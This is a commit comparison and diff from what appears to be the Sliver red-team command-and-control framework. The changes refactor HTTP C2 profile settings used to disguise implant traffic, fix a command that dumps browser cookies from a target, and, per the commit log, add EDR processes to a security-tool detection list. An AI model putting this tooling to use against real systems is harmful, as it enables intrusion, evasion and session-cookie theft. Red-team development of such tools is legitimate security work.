Compare commits

..
Author SHA1 Message Date
Tim Makram Ghatas d86cdcad8e add exports when creating profile for windows shellcode 2025-05-15 11:53:39 +02:00
Joe 7d7f858c15 Merge pull request #1943 from Signum21/ps_faronics_anti_executable
Added ps detection for Faronics Anti-Executable processes
2025-05-13 09:08:06 -07:00
Joe ee1ad9edd1 Merge pull request #1944 from BishopFox/bugfix_addDefaultExport
Bugfix add default export
2025-05-13 09:07:52 -07:00
Tim Makram Ghatas d985564198 add exports to db for implantconfig object 2025-05-12 14:03:08 +02:00
Tim Makram Ghatas c1b5a3f7b4 ensure server generate call always has a default value for the exports variable 2025-05-12 13:52:40 +02:00
Signum21 927ff9c4ab Added ps detection for Faronics Anti-Executable processes
Signed-off-by: Signum21 <[email protected]>
2025-05-09 00:07:37 +02:00
Joe 3411b438b6 Merge pull request #1942 from BishopFox/doc_1.6_update
Doc 1.6 update
2025-05-08 11:20:02 -07:00
Joe 40bc0d6464 Merge pull request #1941 from BishopFox/fix_pivots
Fix pivots
2025-05-08 11:13:03 -07:00
Tim Makram Ghatas b0639275f4 Merge branch 'master' into doc_1.6_update 2025-05-08 20:11:15 +02:00
Tim Makram Ghatas 6216cd1dc6 update c2profile docs 2025-05-08 20:10:44 +02:00
Joe 78e6b3a9b3 Merge branch 'master' into fix_pivots 2025-05-07 07:48:33 -07:00
Joe 509d1b46ff Merge pull request #1940 from BishopFox/add_implant_configurations
Bugfixes and additional compilation options
2025-05-07 07:48:23 -07:00
Tim Makram Ghatas f06b2c2192 Merge branch 'master' into fix_pivots 2025-05-07 14:58:54 +02:00
Tim Makram Ghatas 4138ddd84a fix multiLibrary test 2025-05-05 23:46:37 +02:00
Tim Makram Ghatas e9a300bab2 add duplicate implant running check for all exports 2025-05-05 16:20:18 +02:00
Tim Makram Ghatas 6edd10a010 allow specifying exports in generate command 2025-05-05 16:17:13 +02:00
Tim Makram Ghatas b438df4db9 add donut bypass field to server.json 2025-04-26 11:25:58 +01:00
Tim Makram Ghatas 49eab476bb update base58 id write in implant 2025-04-26 09:34:56 +01:00
Joe 8976654010 Merge pull request #1928 from BishopFox/v1.6.0/fix-beacon-tasks
Fixes for Issues with Beacon Tasks
2025-04-22 18:51:26 -07:00
Ronan Kervella a78b8c2097 Merge branch 'master' into v1.6.0/fix-beacon-tasks 2025-04-21 10:52:42 -07:00
Ronan Kervella 5709bb9a24 Merge pull request #1935 from BishopFox/v1.6.0/ps-toggle-info
Simplified Default ps Output
2025-04-21 10:52:24 -07:00
Raf 25668a6d82 Correcting condition in client ps command 2025-04-21 12:57:50 -04:00
Raf 3ae8353030 Changes to reduce the amount of information pulled by ps by default, changing deprecated x/sys/windows calls 2025-04-15 08:27:32 -04:00
Raf a3d053bde5 Merge branch 'master' into v1.6.0/fix-beacon-tasks 2025-04-14 08:17:01 -04:00
Tim Makram Ghatas 7e27a18245 Merge branch 'master' into fix_pivots 2025-04-12 18:07:33 +02:00
Tim Makram Ghatas 6d09b27c85 updated documentation for 1.6 2025-04-11 17:26:47 +02:00
Tim Makram Ghatas c389bac46e bugfix - switch pivot decryption to alternative function without signature verification 2025-04-11 17:23:35 +02:00
Raf fae8e77665 Fix SQL issues when accessing or cancelling beacon tasks, fix panic when cancelling a task by ID 2025-04-11 10:59:55 -04:00
Joe 38cf0aeb8b Merge pull request #1924 from mosesrenegade/master
Cursed Chrome Cookie Fix
2025-04-11 07:36:02 -07:00
Joe a755750a89 Merge pull request #1926 from BishopFox/bugfix_listeners
Bugfix listeners
2025-04-11 07:35:37 -07:00
Tim Makram Ghatas 555ee5c63d remove unused persistent flags 2025-04-11 15:45:18 +02:00
Tim Makram Ghatas 0fc51677c1 fix bug for payload staging 2025-04-11 13:54:00 +02:00
Tim Makram Ghatas cc1c7a5364 crop c2profile output to 50 char max for paths and files 2025-04-11 13:53:18 +02:00
Timothy Makram Ghatas d1fa99d6eb Merge branch 'master' into bugfix_listeners 2025-04-11 01:25:43 +02:00
Timothy Makram Ghatas 6697801f59 Merge pull request #1925 from BishopFox/bof_flag_args
Bof flag args
2025-04-11 01:25:09 +02:00
Tim Makram Ghatas 32fa69356c fix to address integer conversion in bof default value routine written by ccardio 2025-04-10 21:52:28 +02:00
Timothy Makram Ghatas c42d754e72 Update list.go
remove outer loop and switch to contains for extension lists

Signed-off-by: Timothy Makram Ghatas <[email protected]>
2025-04-10 21:50:35 +02:00
c2biz e4babaf471 add flag-style arg parsing for BOF extensions 2025-04-10 15:42:04 -04:00
c2biz da196a789d fix DLL based extension argument parsing 2025-04-10 15:39:35 -04:00
c2biz 6a656d63ab Merge branch 'extensions_cmd_improvements' into bof_flag_args 2025-04-10 15:27:47 -04:00
c2biz b0e226199a Merge remote-tracking branch 'origin/master' into extensions_cmd_improvements 2025-04-10 15:27:43 -04:00
Tim Makram Ghatas 7cce6b17b2 fix console test 2025-04-10 19:16:07 +02:00
Tim Makram Ghatas d07aae4d0b restrict operator certificates to SHA256 to fix grpcio bugs (#1877) 2025-04-10 18:45:40 +02:00
Tim Makram Ghatas f4a2ba536c store tcp listener in database 2025-04-10 18:29:35 +02:00
Moses Frost 2bbd69719d This commit is a fix for the Cursed module cookie subcommand. The library upstream changed it's cookie values from a string value to a struct and the download command needed to be modified to work with the struct 2025-04-09 16:05:17 -04:00
Joe cf4ff14342 Merge pull request #1914 from m1tm4n404/from-as-casting
build Dockerfile: use uppercase FROM / AS combination
2025-03-31 08:14:11 -07:00
Timothy Makram Ghatas ae3a2fd51e Merge pull request #1919 from BishopFox/extend_nonce_configurations
Extend nonce configurations
2025-03-31 17:13:52 +02:00
Tim Makram Ghatas d14ba3d35f Merge branch 'master' into extend_nonce_configurations 2025-03-27 22:40:00 +01:00
Tim Makram Ghatas 10ef8b3e88 remove need for http job restart on c2profile import and allow hiding nonce in url segment instead of a parameter 2025-03-27 02:01:26 +01:00
Tim Makram Ghatas 4bc65e2193 allow specifying implant name for profile generate and fix duplicate name bug 2025-03-27 00:35:12 +01:00
Tim Makram Ghatas a45a5795d3 fix autocompletion for c2profile in generate 2025-03-27 00:06:03 +01:00
Tim Makram Ghatas e1c5b77db4 add default server header to server json config for anonymous requests 2025-03-26 23:58:43 +01:00
Tim Makram Ghatas 280d08d074 refactored nonce parsing in url parameters 2025-03-25 14:25:47 +01:00
svd 1d55b34b62 fixing from as casting 2025-03-23 15:18:36 +03:00
Joe d32302a1ab Merge pull request #1911 from kmathisbf/ps_cortex
Add Palo Alto Cortex XDR binaries to `knownSecurityTools`
2025-03-18 18:36:40 -07:00
kmathisbf 2eabfc255b Fix typo 2025-03-18 18:10:23 -04:00
kmathisbf d0375da6e4 Add Palo Alto Cortex processes to knownSecurityTools 2025-03-18 18:02:15 -04:00
Tim Makram Ghatas 4523c83b89 fix implant bug for url generation 2025-03-11 16:25:36 +01:00
Tim Makram Ghatas 1decc7f462 update client side c2 profile to match new format 2025-03-10 15:42:57 +01:00
Tim Makram Ghatas f97a1e3fdf remove legacy c2profile import validation 2025-03-10 15:19:24 +01:00
Tim Makram Ghatas 1e12ea3242 remove support for default server header when unauthenticated, to be reimplemented later on 2025-03-10 15:17:09 +01:00
Tim Makram Ghatas 8919bc3b07 update http c2 config and remove segmenttype from model and protobuf 2025-03-10 15:12:57 +01:00
Tim Makram Ghatas 1a2b392d20 remove unused queries from helpers 2025-03-10 14:58:54 +01:00
Tim Makram Ghatas 11a6584973 update http c2 model 2025-03-10 14:55:49 +01:00
Tim Makram Ghatas 1e06fe6612 update protobuf to merge all http extensions into an array and split max/min generation and implant configuration variables 2025-03-10 14:55:13 +01:00
Tim Makram Ghatas 65ee18026e update server side code to remove the need for url extensions in http handler 2025-03-07 19:07:56 +01:00
Tim Makram Ghatas 9c1617c213 add noncequerylength to implant 2025-03-07 16:21:04 +01:00
Tim Makram Ghatas d74067ddff allow arbitrary nonce length in c2profile server side 2025-02-25 19:51:33 +01:00
Tim Makram Ghatas 60772c7659 add default length for url nonce length 2025-02-25 17:36:49 +01:00
Tim Makram Ghatas 25a70e6e4f add nonce length to protobuf definition and db model 2025-02-25 17:23:30 +01:00
Joe a89675d961 Merge pull request #1879 from BishopFox/fix_missing_extension
Keep track of file extension
2025-02-21 08:05:41 -07:00
Joe 0f340a25cf Merge pull request #1889 from BishopFox/fix/GHSA-fh4v-v779-4g2w
Track tunnel creation for `rportfwd`
2025-02-14 09:27:58 -06:00
Joe 9cdc326b57 Merge pull request #1882 from BishopFox/fix_1842
missing default value
2025-02-14 09:27:43 -06:00
Ronan Kervella 3faabd36c1 Merge branch 'master' into fix_missing_extension 2025-02-13 15:18:07 -08:00
Ronan Kervella 113ef5d7d0 Merge branch 'master' into fix_1842 2025-02-13 15:16:52 -08:00
Tim Makram Ghatas 9fa1e15425 set stage2 before encryption/compression 2025-02-10 13:48:20 +01:00
Tim Makram Ghatas 2d9a46543d Keep track of file extension in implant config and automatically append correct extension when saving builds 2025-02-09 17:46:33 +01:00
rkervella e5e589e1b0 Simplify expression 2025-02-08 11:13:01 -08:00
rkervella 2e0fab3a71 Track reverse portfwd state 2025-02-08 11:09:54 -08:00
Joe 2f486be19c Merge pull request #1872 from BishopFox/go/v1.23.5
Update to Go v1.23.5 and Garble v1.23.5
2025-02-05 10:56:03 -06:00
moloch-- 85868e5b8f Update to Go v1.23.5 and Garble v1.23.5 2025-01-29 11:28:42 -07:00
Joe 31c70938bd Merge pull request #1858 from BishopFox/48b9dependabot/go_modules/golang.org/x/net-0.33.0
Bump golang.org/x/net from 0.26.0 to 0.33.0
2025-01-21 11:07:27 -06:00
c2biz 99571dc73e fix bug in extensions rm command 2025-01-21 10:54:32 -05:00
c2biz 5c2848c84c improve extensions list output 2025-01-21 07:26:06 -05:00
c2biz ffcfa8d1b5 add extension short help to SliverCommand help menu 2025-01-20 14:20:09 -05:00
c2biz debc03203c restrict 'extensions list' sub-command to session mode 2025-01-20 14:07:45 -05:00
dependabot[bot] 63668f57b5 Bump golang.org/x/net from 0.26.0 to 0.33.0
Bumps [golang.org/x/net](https://github.com/golang/net) from 0.26.0 to 0.33.0.
- [Commits](https://github.com/golang/net/compare/v0.26.0...v0.33.0)

---
updated-dependencies:
- dependency-name: golang.org/x/net
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <[email protected]>
2025-01-20 18:01:38 +00:00
Joe aefe6b31e9 Merge pull request #1854 from BishopFox/74eedependabot/go_modules/golang.org/x/crypto-0.32.0
Bump golang.org/x/crypto from 0.29.0 to 0.32.0
2025-01-20 12:00:00 -06:00
Joe f854af1134 Merge pull request #1855 from BishopFox/abide_generate_name
Abide generate name
2025-01-20 11:59:44 -06:00
c2biz b84037af11 fix bug in PrintExtensions 2025-01-17 18:11:11 -05:00
c2biz 61ed176683 fix dupe issue in GetAllExtensionManifests() 2025-01-17 17:51:08 -05:00
c2biz 12e44644ed introduce package_name field 2025-01-17 15:16:03 -05:00
c2biz 0b185cc885 fix bin path bug for temp-installed extensions and display bug in PrintExtensions() 2025-01-17 00:20:28 -05:00
c2biz ae0c106595 add GetAllExtensionManifests() to obtain installed and temp-installed extensions 2025-01-16 23:53:18 -05:00
c2biz 6d2b0f8319 fix bug for temporarily installed (extensions load) extensions 2025-01-16 18:34:46 -05:00
c2biz 60443f4fc7 split extensions' subcommands: 'install', 'load', 'rm' in server context and 'list' in sliver context 2025-01-16 12:27:57 -05:00
c2biz 418fe757d1 moved extensions command from sliver to server menu 2025-01-16 08:57:57 -05:00
dependabot[bot] 5f18609ed7 Bump golang.org/x/crypto from 0.29.0 to 0.32.0
Bumps [golang.org/x/crypto](https://github.com/golang/crypto) from 0.29.0 to 0.32.0.
- [Commits](https://github.com/golang/crypto/compare/v0.29.0...v0.32.0)

---
updated-dependencies:
- dependency-name: golang.org/x/crypto
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2025-01-13 03:30:28 +00:00
136 changed files with 10911 additions and 13662 deletions

No files matched your search

+2 -2
View File
@@ -9,7 +9,7 @@
# STAGE: base
## Compiles Sliver for use
FROM golang:1.22.5 AS base
FROM golang:1.23.5 AS base
### Base packages
RUN apt-get update --fix-missing && apt-get -y install \
@@ -91,7 +91,7 @@ ENTRYPOINT [ "/opt/sliver-server" ]
# STAGE: production-slim (about 1Gb smaller)
FROM debian:bookworm-slim as production-slim
FROM debian:bookworm-slim AS production-slim
### Install production packages
RUN apt-get update --fix-missing \
+11 -24
View File
@@ -57,30 +57,17 @@ type HTTPC2ImplantConfig struct {
NonceQueryArgChars string `json:"nonce_query_args"`
URLParameters []NameValueProbability `json:"url_parameters"`
Headers []NameValueProbability `json:"headers"`
NonceQueryLength int `json:"nonce_query_length"`
NonceMode string `json:"nonce_mode"`
MaxFiles int `json:"max_files"`
MinFiles int `json:"min_files"`
MaxPaths int `json:"max_paths"`
MinPaths int `json:"min_paths"`
MaxFileGen int `json:"max_files"`
MinFileGen int `json:"min_files"`
MaxPathGen int `json:"max_paths"`
MinPathGen int `json:"min_paths"`
MaxPathLength int `json:"max_path_length"`
MinPathLength int `json:"min_path_length"`
// Stager files and paths
StagerFileExt string `json:"stager_file_ext"`
StagerFiles []string `json:"stager_files"`
StagerPaths []string `json:"stager_paths"`
// Poll files and paths
PollFileExt string `json:"poll_file_ext"`
PollFiles []string `json:"poll_files"`
PollPaths []string `json:"poll_paths"`
// Session files and paths
StartSessionFileExt string `json:"start_session_file_ext"`
SessionFileExt string `json:"session_file_ext"`
SessionFiles []string `json:"session_files"`
SessionPaths []string `json:"session_paths"`
// Close session files and paths
CloseFileExt string `json:"close_file_ext"`
CloseFiles []string `json:"close_files"`
ClosePaths []string `json:"close_paths"`
Extensions []string `json:"extensions"`
Files []string `json:"files"`
Paths []string `json:"paths"`
}
+80 -291
View File
@@ -23,7 +23,6 @@ import (
"encoding/json"
"fmt"
"io"
"math/rand"
"net/url"
"os"
"path"
@@ -67,7 +66,6 @@ func C2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []string)
}
func ImportC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
protocols := []string{constants.HttpStr, constants.HttpsStr}
profileName, _ := cmd.Flags().GetString("name")
if profileName == "" {
con.PrintErrorf("Invalid c2 profile name\n")
@@ -103,29 +101,6 @@ func ImportC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []st
con.PrintErrorf("%s\n", err)
return
}
confirm := false
prompt := &survey.Confirm{Message: "Restart HTTP/S jobs?"}
survey.AskOne(prompt, &confirm)
if confirm {
var restartJobReq clientpb.RestartJobReq
jobs, err := con.Rpc.GetJobs(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
// reload jobs to include new profile
for _, job := range jobs.Active {
if job != nil && slices.Contains(protocols, job.Name) {
restartJobReq.JobIDs = append(restartJobReq.JobIDs, job.ID)
}
}
_, err = con.Rpc.RestartJobs(context.Background(), &restartJobReq)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
}
func ExportC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
@@ -201,23 +176,6 @@ func GenerateC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []
return
}
c2Profiles, err := con.Rpc.GetHTTPC2Profiles(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
var extensions []string
for _, c2profile := range c2Profiles.Configs {
confProfile, err := con.Rpc.GetHTTPC2ProfileByName(context.Background(), &clientpb.C2ProfileReq{Name: c2profile.Name})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
extensions = append(extensions, confProfile.ImplantConfig.StagerFileExtension)
extensions = append(extensions, confProfile.ImplantConfig.StartSessionFileExtension)
}
config, err := C2ConfigToJSON(profileName, profile)
if err != nil {
con.PrintErrorf("%s\n", err)
@@ -243,7 +201,7 @@ func GenerateC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []
}
urls := strings.Split(string(fileContent), "\n")
jsonProfile, err := updateC2Profile(extensions, config, urls)
jsonProfile, err := updateC2Profile(config, urls)
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -264,26 +222,26 @@ func GenerateC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []
}
con.Println("C2 profile generated and saved as ", profileName)
} else {
PrintC2Profiles(profile, con)
PrintC2Profiles(C2ConfigToProtobuf(profileName, jsonProfile), con)
}
}
// convert protobuf to json
func C2ConfigToJSON(profileName string, profile *clientpb.HTTPC2Config) (*assets.HTTPC2Config, error) {
implantConfig := assets.HTTPC2ImplantConfig{
UserAgent: profile.ImplantConfig.UserAgent,
ChromeBaseVersion: int(profile.ImplantConfig.ChromeBaseVersion),
MacOSVersion: profile.ImplantConfig.MacOSVersion,
NonceQueryArgChars: profile.ImplantConfig.NonceQueryArgChars,
MaxFiles: int(profile.ImplantConfig.MaxFiles),
MinFiles: int(profile.ImplantConfig.MinFiles),
MaxPaths: int(profile.ImplantConfig.MaxPaths),
MinPaths: int(profile.ImplantConfig.MinFiles),
StagerFileExt: profile.ImplantConfig.StagerFileExtension,
PollFileExt: profile.ImplantConfig.PollFileExtension,
StartSessionFileExt: profile.ImplantConfig.StartSessionFileExtension,
SessionFileExt: profile.ImplantConfig.SessionFileExtension,
CloseFileExt: profile.ImplantConfig.CloseFileExtension,
UserAgent: profile.ImplantConfig.UserAgent,
ChromeBaseVersion: int(profile.ImplantConfig.ChromeBaseVersion),
MacOSVersion: profile.ImplantConfig.MacOSVersion,
NonceQueryArgChars: profile.ImplantConfig.NonceQueryArgChars,
NonceQueryLength: int(profile.ImplantConfig.NonceQueryLength),
NonceMode: profile.ImplantConfig.NonceMode,
MaxFileGen: int(profile.ImplantConfig.MaxFileGen),
MinFileGen: int(profile.ImplantConfig.MinFileGen),
MaxPathGen: int(profile.ImplantConfig.MaxPathGen),
MinPathGen: int(profile.ImplantConfig.MinFileGen),
MaxPathLength: int(profile.ImplantConfig.MaxPathLength),
MinPathLength: int(profile.ImplantConfig.MinPathLength),
Extensions: profile.ImplantConfig.Extensions,
}
var headers []assets.NameValueProbability
@@ -308,50 +266,19 @@ func C2ConfigToJSON(profileName string, profile *clientpb.HTTPC2Config) (*assets
implantConfig.URLParameters = urlParameters
var (
stagerFiles []string
pollFiles []string
sessionFiles []string
closeFiles []string
stagerPaths []string
pollPaths []string
sessionPaths []string
closePaths []string
files []string
paths []string
)
for _, pathSegment := range profile.ImplantConfig.PathSegments {
if pathSegment.IsFile {
switch pathSegment.SegmentType {
case 0:
pollFiles = append(pollFiles, pathSegment.Value)
case 1:
sessionFiles = append(sessionFiles, pathSegment.Value)
case 2:
closeFiles = append(closeFiles, pathSegment.Value)
case 3:
stagerFiles = append(stagerFiles, pathSegment.Value)
}
files = append(files, pathSegment.Value)
} else {
switch pathSegment.SegmentType {
case 0:
pollPaths = append(pollPaths, pathSegment.Value)
case 1:
sessionPaths = append(sessionPaths, pathSegment.Value)
case 2:
closePaths = append(closePaths, pathSegment.Value)
case 3:
stagerPaths = append(stagerPaths, pathSegment.Value)
}
paths = append(paths, pathSegment.Value)
}
}
implantConfig.PollFiles = pollFiles
implantConfig.SessionFiles = sessionFiles
implantConfig.CloseFiles = closeFiles
implantConfig.StagerFiles = stagerFiles
implantConfig.PollPaths = pollPaths
implantConfig.SessionPaths = sessionPaths
implantConfig.ClosePaths = closePaths
implantConfig.StagerPaths = stagerPaths
implantConfig.Files = files
implantConfig.Paths = paths
var serverHeaders []assets.NameValueProbability
for _, header := range profile.ServerConfig.Headers {
@@ -390,68 +317,17 @@ func C2ConfigToProtobuf(profileName string, config *assets.HTTPC2Config) *client
pathSegments := []*clientpb.HTTPC2PathSegment{}
// files
for _, poll := range config.ImplantConfig.PollFiles {
for _, file := range config.ImplantConfig.Files {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: true,
SegmentType: 0,
Value: poll,
IsFile: true,
Value: file,
})
}
for _, session := range config.ImplantConfig.SessionFiles {
for _, path := range config.ImplantConfig.Paths {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: true,
SegmentType: 1,
Value: session,
})
}
for _, close := range config.ImplantConfig.CloseFiles {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: true,
SegmentType: 2,
Value: close,
})
}
for _, stager := range config.ImplantConfig.StagerFiles {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: true,
SegmentType: 3,
Value: stager,
})
}
// paths
for _, poll := range config.ImplantConfig.PollPaths {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: false,
SegmentType: 0,
Value: poll,
})
}
for _, session := range config.ImplantConfig.SessionPaths {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: false,
SegmentType: 1,
Value: session,
})
}
for _, close := range config.ImplantConfig.ClosePaths {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: false,
SegmentType: 2,
Value: close,
})
}
for _, stager := range config.ImplantConfig.StagerPaths {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: false,
SegmentType: 3,
Value: stager,
IsFile: false,
Value: path,
})
}
@@ -474,22 +350,22 @@ func C2ConfigToProtobuf(profileName string, config *assets.HTTPC2Config) *client
}
implantConfig := &clientpb.HTTPC2ImplantConfig{
UserAgent: config.ImplantConfig.UserAgent,
ChromeBaseVersion: int32(config.ImplantConfig.ChromeBaseVersion),
MacOSVersion: config.ImplantConfig.MacOSVersion,
NonceQueryArgChars: config.ImplantConfig.NonceQueryArgChars,
ExtraURLParameters: httpC2UrlParameters,
Headers: httpC2Headers,
MaxFiles: int32(config.ImplantConfig.MaxFiles),
MinFiles: int32(config.ImplantConfig.MinFiles),
MaxPaths: int32(config.ImplantConfig.MaxPaths),
MinPaths: int32(config.ImplantConfig.MinFiles),
StagerFileExtension: config.ImplantConfig.StagerFileExt,
PollFileExtension: config.ImplantConfig.PollFileExt,
StartSessionFileExtension: config.ImplantConfig.StartSessionFileExt,
SessionFileExtension: config.ImplantConfig.SessionFileExt,
CloseFileExtension: config.ImplantConfig.CloseFileExt,
PathSegments: pathSegments,
UserAgent: config.ImplantConfig.UserAgent,
ChromeBaseVersion: int32(config.ImplantConfig.ChromeBaseVersion),
MacOSVersion: config.ImplantConfig.MacOSVersion,
NonceQueryArgChars: config.ImplantConfig.NonceQueryArgChars,
NonceQueryLength: int32(config.ImplantConfig.NonceQueryLength),
NonceMode: config.ImplantConfig.NonceMode,
ExtraURLParameters: httpC2UrlParameters,
Headers: httpC2Headers,
MaxFileGen: int32(config.ImplantConfig.MaxFileGen),
MinFileGen: int32(config.ImplantConfig.MinFileGen),
MaxPathGen: int32(config.ImplantConfig.MaxPathGen),
MinPathGen: int32(config.ImplantConfig.MinPathGen),
MaxPathLength: int32(config.ImplantConfig.MaxPathLength),
MinPathLength: int32(config.ImplantConfig.MinPathLength),
Extensions: config.ImplantConfig.Extensions,
PathSegments: pathSegments,
}
// Server Config
@@ -599,96 +475,65 @@ func PrintC2Profiles(profile *clientpb.HTTPC2Config, con *console.SliverClient)
"Nonce query arg chars",
profile.ImplantConfig.NonceQueryArgChars,
})
tw.AppendRow(table.Row{
"Nonce query length",
profile.ImplantConfig.NonceQueryLength,
})
tw.AppendRow(table.Row{
"Nonce mode",
profile.ImplantConfig.NonceMode,
})
tw.AppendRow(table.Row{
"Max files",
profile.ImplantConfig.MaxFiles,
profile.ImplantConfig.MaxFileGen,
})
tw.AppendRow(table.Row{
"Min files",
profile.ImplantConfig.MinFiles,
profile.ImplantConfig.MinFileGen,
})
tw.AppendRow(table.Row{
"Max paths",
profile.ImplantConfig.MaxPaths,
profile.ImplantConfig.MaxPathGen,
})
tw.AppendRow(table.Row{
"Min paths",
profile.ImplantConfig.MinPaths,
profile.ImplantConfig.MinPathGen,
})
tw.AppendRow(table.Row{
"Stager file extension",
profile.ImplantConfig.StagerFileExtension,
"Max path length",
profile.ImplantConfig.MaxPathLength,
})
tw.AppendRow(table.Row{
"Start session file extension",
profile.ImplantConfig.StartSessionFileExtension,
"Min path length",
profile.ImplantConfig.MinPathLength,
})
tw.AppendRow(table.Row{
"Session file extension",
profile.ImplantConfig.SessionFileExtension,
})
tw.AppendRow(table.Row{
"Poll file extension",
profile.ImplantConfig.PollFileExtension,
})
tw.AppendRow(table.Row{
"Close file extension",
profile.ImplantConfig.CloseFileExtension,
"File extensions",
strings.Join(profile.ImplantConfig.Extensions, ","),
})
var (
pollPaths []string
pollFiles []string
sessionPaths []string
sessionFiles []string
closePaths []string
closeFiles []string
paths []string
files []string
)
for _, segment := range profile.ImplantConfig.PathSegments {
if segment.IsFile {
switch segment.SegmentType {
case 0:
pollFiles = append(pollFiles, segment.Value)
case 1:
sessionFiles = append(sessionFiles, segment.Value)
case 2:
closeFiles = append(closeFiles, segment.Value)
}
files = append(files, segment.Value)
} else {
switch segment.SegmentType {
case 0:
pollPaths = append(pollPaths, segment.Value)
case 1:
sessionPaths = append(sessionPaths, segment.Value)
case 2:
closePaths = append(closePaths, segment.Value)
}
paths = append(paths, segment.Value)
}
}
tw.AppendRow(table.Row{
"Poll paths",
strings.Join(pollPaths[:], ","),
"Paths",
strings.Join(paths[:], ",")[:50] + "...",
})
tw.AppendRow(table.Row{
"Poll files",
strings.Join(pollFiles[:], ","),
})
tw.AppendRow(table.Row{
"Session paths",
strings.Join(sessionPaths[:], ","),
})
tw.AppendRow(table.Row{
"Session files",
strings.Join(sessionFiles[:], ","),
})
tw.AppendRow(table.Row{
"Close paths",
strings.Join(closePaths[:], ","),
})
tw.AppendRow(table.Row{
"Close files",
strings.Join(closeFiles[:], ","),
"Files",
strings.Join(files[:], ",")[:50] + "...",
})
con.Println(tw.Render())
@@ -711,14 +556,13 @@ func selectC2Profile(c2profiles []*clientpb.HTTPC2Config) string {
return c2profile
}
func updateC2Profile(usedExtensions []string, template *assets.HTTPC2Config, urls []string) (*assets.HTTPC2Config, error) {
func updateC2Profile(template *assets.HTTPC2Config, urls []string) (*assets.HTTPC2Config, error) {
// update the template with the urls
var (
paths []string
filenames []string
extensions []string
filteredExtensions []string
paths []string
filenames []string
extensions []string
)
for _, urlPath := range urls {
@@ -747,23 +591,13 @@ func updateC2Profile(usedExtensions []string, template *assets.HTTPC2Config, url
slices.Sort(extensions)
extensions = slices.Compact(extensions)
for _, extension := range extensions {
if !slices.Contains(usedExtensions, extension) {
filteredExtensions = append(filteredExtensions, extension)
}
}
slices.Sort(paths)
paths = slices.Compact(paths)
slices.Sort(filenames)
filenames = slices.Compact(filenames)
// 5 is arbitrarily used as a minimum value, it only has to be 5 for the extensions, the others can be lower
if len(filteredExtensions) < 5 {
return nil, fmt.Errorf("got %d unused extensions, need at least 5", len(filteredExtensions))
}
// 5 is arbitrarily used as a minimum value
if len(paths) < 5 {
return nil, fmt.Errorf("got %d paths need at least 5", len(paths))
}
@@ -772,53 +606,8 @@ func updateC2Profile(usedExtensions []string, template *assets.HTTPC2Config, url
return nil, fmt.Errorf("got %d paths need at least 5", len(filenames))
}
// shuffle extensions
for i := len(extensions) - 1; i > 0; i-- {
j := rand.Intn(i + 1)
extensions[i], extensions[j] = extensions[j], extensions[i]
}
template.ImplantConfig.PollFileExt = extensions[0]
template.ImplantConfig.StagerFileExt = extensions[1]
template.ImplantConfig.StartSessionFileExt = extensions[2]
template.ImplantConfig.SessionFileExt = extensions[3]
template.ImplantConfig.CloseFileExt = extensions[4]
// randomly distribute the paths and filenames into the different segment types
template.ImplantConfig.CloseFiles = []string{}
template.ImplantConfig.SessionFiles = []string{}
template.ImplantConfig.PollFiles = []string{}
template.ImplantConfig.StagerFiles = []string{}
template.ImplantConfig.ClosePaths = []string{}
template.ImplantConfig.SessionPaths = []string{}
template.ImplantConfig.PollPaths = []string{}
template.ImplantConfig.StagerPaths = []string{}
for _, path := range paths {
switch rand.Intn(4) {
case 0:
template.ImplantConfig.PollPaths = append(template.ImplantConfig.PollPaths, path)
case 1:
template.ImplantConfig.SessionPaths = append(template.ImplantConfig.SessionPaths, path)
case 2:
template.ImplantConfig.ClosePaths = append(template.ImplantConfig.ClosePaths, path)
case 3:
template.ImplantConfig.StagerPaths = append(template.ImplantConfig.StagerPaths, path)
}
}
for _, filename := range filenames {
switch rand.Intn(4) {
case 0:
template.ImplantConfig.PollFiles = append(template.ImplantConfig.PollFiles, filename)
case 1:
template.ImplantConfig.SessionFiles = append(template.ImplantConfig.SessionFiles, filename)
case 2:
template.ImplantConfig.CloseFiles = append(template.ImplantConfig.CloseFiles, filename)
case 3:
template.ImplantConfig.StagerFiles = append(template.ImplantConfig.StagerFiles, filename)
}
}
template.ImplantConfig.Extensions = extensions
template.ImplantConfig.Paths = paths
template.ImplantConfig.Files = filenames
return template, nil
}
+11 -10
View File
@@ -21,9 +21,10 @@ package cursed
import (
"fmt"
"os"
"strings"
"time"
"encoding/json"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/overlord"
"github.com/spf13/cobra"
@@ -46,24 +47,24 @@ func CursedCookiesCmd(cmd *cobra.Command, con *console.SliverClient, args []stri
if len(cookies) == 0 {
return
}
saveFile, _ := cmd.Flags().GetString("save")
if saveFile == "" {
saveFile = fmt.Sprintf("cookies-%s.json", time.Now().Format("20060102150405"))
}
jsonCookies := []string{}
for _, cookie := range cookies {
jsonCookie, err := cookie.MarshalJSON()
if err != nil {
con.PrintErrorf("Failed to marshal cookie: %s\n", err)
continue
}
jsonCookies = append(jsonCookies, string(jsonCookie))
jsonBytes, err := json.MarshalIndent(cookies, "", " ")
if err != nil {
con.PrintErrorf("Failed to marshal cookies: %s\n", err)
return
}
